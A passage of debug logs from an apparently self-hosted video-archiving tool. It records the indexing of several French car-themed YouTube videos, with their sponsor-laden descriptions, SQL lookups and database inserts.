mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "duration" => 1194, "filename" => "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", "id" => "KBkzOmXTOF0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KBkzOmXTOF0", "playlist_index" => 11, "timestamp" => 1770311702, "title" => "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "upload_date" => "20260205"} 07:40:16.420 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1069.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:16.422 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=153.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:16.425 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=155.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-05 17:15:02Z], 2] 07:40:16.464 [debug] QUERY OK source="media_items" db=36.6ms idle=159.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "b1e3d3e0-3335-40d5-b8c9-5d6d4fafeffb", "KBkzOmXTOF0", 1194, false, "https://www.youtube.com/watch?v=KBkzOmXTOF0", 11, "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", false, false, false, 2, [], 98, ~U[2026-02-05 17:15:02Z], ~U[2026-04-20 05:40:16Z], ~U[2026-04-20 05:40:16Z], "NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "KBkzOmXTOF0", 1194, false, "https://www.youtube.com/watch?v=KBkzOmXTOF0", "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", false, 2, ~U[2026-02-05 17:15:02Z]] 07:40:16.468 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=110.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:16.470 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.1ms idle=48.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:16.472 [debug] QUERY OK source="media_items" db=1.5ms idle=48.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20148] 07:40:16.475 [debug] Current batch of media processed. Will check again in 1000ms 07:40:17.476 [debug] Current batch of media processed. Will check again in 1000ms 07:40:18.477 [debug] Current batch of media processed. Will check again in 1000ms 07:40:19.478 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "duration" => 2116, "filename" => "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", "id" => "sdWPiBrsCVo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sdWPiBrsCVo", "playlist_index" => 12, "timestamp" => 1769706906, "title" => "VTECH : Les séries limitées ( et parfois bien nulles )", "upload_date" => "20260129"} 07:40:19.480 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1211.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:19.481 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1213.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:19.483 [debug] QUERY OK source="media_items" db=1.5ms idle=1119.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-29 17:15:06Z], 2] 07:40:19.551 [debug] QUERY OK source="media_items" db=67.4ms idle=1081.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "VTECH : Les séries limitées ( et parfois bien nulles )", "7e56533f-32c0-41c0-bf2d-6c991f2d0392", "sdWPiBrsCVo", 2116, false, "https://www.youtube.com/watch?v=sdWPiBrsCVo", 12, "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", false, false, false, 2, [], 98, ~U[2026-01-29 17:15:06Z], ~U[2026-04-20 05:40:19Z], ~U[2026-04-20 05:40:19Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "VTECH : Les séries limitées ( et parfois bien nulles )", "sdWPiBrsCVo", 2116, false, "https://www.youtube.com/watch?v=sdWPiBrsCVo", "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", false, 2, ~U[2026-01-29 17:15:06Z]] 07:40:19.554 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=187.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:19.555 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=74.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:19.557 [debug] QUERY OK source="media_items" db=1.1ms idle=74.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19352] 07:40:19.559 [debug] Current batch of media processed. Will check again in 1000ms 07:40:20.560 [debug] Current batch of media processed. Will check again in 1000ms 07:40:21.563 [debug] Current batch of media processed. Will check again in 1000ms 07:40:22.564 [debug] Current batch of media processed. Will check again in 1000ms 07:40:23.565 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "duration" => 1614, "filename" => "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", "id" => "uP6KZmvaz0Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uP6KZmvaz0Y", "playlist_index" => 13, "timestamp" => 1769102105, "title" => "Rouler avec des roues CARRÉES : Ça fait quoi ?", "upload_date" => "20260122"} 07:40:23.567 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=298.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:23.569 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=300.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:23.572 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=302.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 17:15:05Z], 2] 07:40:23.578 [debug] QUERY OK source="media_items" db=4.3ms queue=0.1ms idle=196.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "Rouler avec des roues CARRÉES : Ça fait quoi ?", "df3fe701-e562-45de-9094-160319141da4", "uP6KZmvaz0Y", 1614, false, "https://www.youtube.com/watch?v=uP6KZmvaz0Y", 13, "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", false, false, false, 2, [], 98, ~U[2026-01-22 17:15:05Z], ~U[2026-04-20 05:40:23Z], ~U[2026-04-20 05:40:23Z], "Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "Rouler avec des roues CARRÉES : Ça fait quoi ?", "uP6KZmvaz0Y", 1614, false, "https://www.youtube.com/watch?v=uP6KZmvaz0Y", "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", false, 2, ~U[2026-01-22 17:15:05Z]] 07:40:23.579 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=173.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:23.581 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=12.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:23.583 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=12.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18556] 07:40:23.584 [debug] Current batch of media processed. Will check again in 1000ms 07:40:24.585 [debug] Current batch of media processed. Will check again in 1000ms 07:40:25.586 [debug] Current batch of media processed. Will check again in 1000ms 07:40:26.587 [debug] Current batch of media processed. Will check again in 1000ms 07:40:27.588 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère 